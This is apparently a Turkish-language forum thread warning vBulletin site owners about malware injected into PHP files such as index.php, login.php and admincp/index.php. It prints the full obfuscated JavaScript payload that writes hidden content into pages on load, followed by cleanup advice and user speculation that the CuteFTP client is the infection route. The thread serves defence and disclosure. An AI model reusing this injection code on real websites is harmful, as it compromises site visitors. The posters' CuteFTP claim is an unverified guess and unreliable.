VBulletin kullanıcıları şu virüse dikkat edin;

VBulletin kullanıcıları şu virüse dikkat edin;

<?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo ''; ?><?php echo '<script language='JavaScript'>function e590206b977(){var w4=Array.prototype.slice.call(arguments).join(""), y4=w4.substr(3,3)-352,wf,o2,w4=w4.substr(6),s9=w4.length;for(var u1=0;u1<s9;u1++){try{throw(x0=w8(w4,u1));}catch(e) {x0=e;};if(x0=='£'){y4="";u1=oc(u1);oe=u9(w4,u1);w hile(oe!='£'){y4+=oe;u1++;oe=x9(w4,u1);}y4-=303;continue;}wf="";if(x0=='µ'){u1++;x0=w4.substr (u1,1);while(x0!='µ'){wf+=x0;u1++;x0=w4.substr(u1, 1);}wf=ob(wf,y4,6);if(wf<0)wf+=256;wf=rd(wf);docum ent.write(String.fromCharCode(wf));continue;}p3=(x 0+'').charCodeAt(0);if(p3>848)p3-=848;o2=p3-y4-6;if(o2<0)o2+=256;if(o2>=192)o2+=848;else if(o2==168)o2=1025;else if(o2==184)o2=1105;document.write(String.fromCharC ode(o2));}}e590206b977("0d","7374Xebn£","502£µ14µµ 26µ£","401","£µ173µµ1","36µµ18","7","µ£4","1","7", "£Êµ1","87µ","µ","181µ","£396£µ1","33µË","×","×"," Óµ157µµ146µ","µ146","µËÌ×","µ1","4","4µÖÈ£396£Ñ£3" ,"99£Ê","Ë","Ø","£","438","£","µ","0","µ","µ1","8" ,"7µğûµ","18","8","µ£3","2","1£","~","µ","12","9µµ 1","34µ|£","3","7","7£","µ12","7µµ","185","µ","µ19 ","0µ~µ179","µµ","1","83µµ","1","85","µ£","348£r", "eUS£","33","3","£","{mh","x","£433£","Ğŵ18","4µµ 168µĞ£4","9","2","£µ","8","µ£454","£æ£3","3","9£", "q","£4","72","£","÷","µ3µ","ìߣ478£","Õ£4","63£µ8 µµ","21µµ24µ£3","4","2£","µ145µµ1","46","µ£","30", "9£~I£","436","£","µ","173","µ£","33","8","£Y£411£ ","µ14","8µ","µ1","76µ","µ17","4µ","µ161µ","µ","1" ,"87µ£","37","0£","µ1","43µµ","15","5µ","µ","138µµ ","150µµ14","2µµ13","5µ");function w8(qa,te){return qa.substr(te,1);}function oc(t3){return ++t3;}function u9(s1,tf){return s1.substr(tf,1);}function x9(qe,x4){return qe.substr(x4,1);}function rd(xc){if(xc==168)xc=1025;else if(xc==184)xc=1105;return (xc>=192 && xc<256) ? xc+848 : xc;}function ob(t8,w5,u4){return t8-w5-u4;}</script>'; ?>


Kod yukarıdaki şekilde özellikle aşağıda verdiğim php dosyalarının içine en alt tarafa yerleşiyor. Öncelikle aşağıdaki php dosyalarınızı kontrol edin. Cuteftp programını bilgisayarınızda derhal kaldırın (en küçük parçası bile kalmasın bilgisayarınızda). Bilgisayarınızı çok sıkı bir şekilde taratın. Ftp'deki diğer dosyalarınızı da kontrol ettikten sonra bu kod olan sayfalarınızı temizleyin, temizlediğiniz dosyaları ftp'ye attıktan sonra HEMEN ftp şifrenizi değiştirin.
Not : Ftp programınızda şifre hatırlama seçeneğini işaretlemeyin.

index.php
login.php
showthread.php
archive/index.php
admincp/index.php
modcp/index.php

Bilgi için teşekkürler.

Cute FTP ile ilgisi ne peki ? Ben Flash FXP kullanıyorum ama Ftp programı denince akla gelen ilk program nerdeyse Cute FTP..

Virüs dosyalara girmek için çok büyük bir ihtimalle cuteftp programını kullanıyor veya virüs direkt olarak cute ftp'ye bulaşıyor. Gözlemlediğim kadarıyla şimdiye kadar bu tür virüs olaylarının çoğunda cuteftp kullanılıyordu, ben de dahil.

teşekkürler artık tamamen forumu bırakıyorum

bendenim yüklediğim dil paketinde buna benzer bişey vardı ellerimle kazıdım kndini arşivemi kopyalıyordu indexemi kopyalıyordu öle bişeydi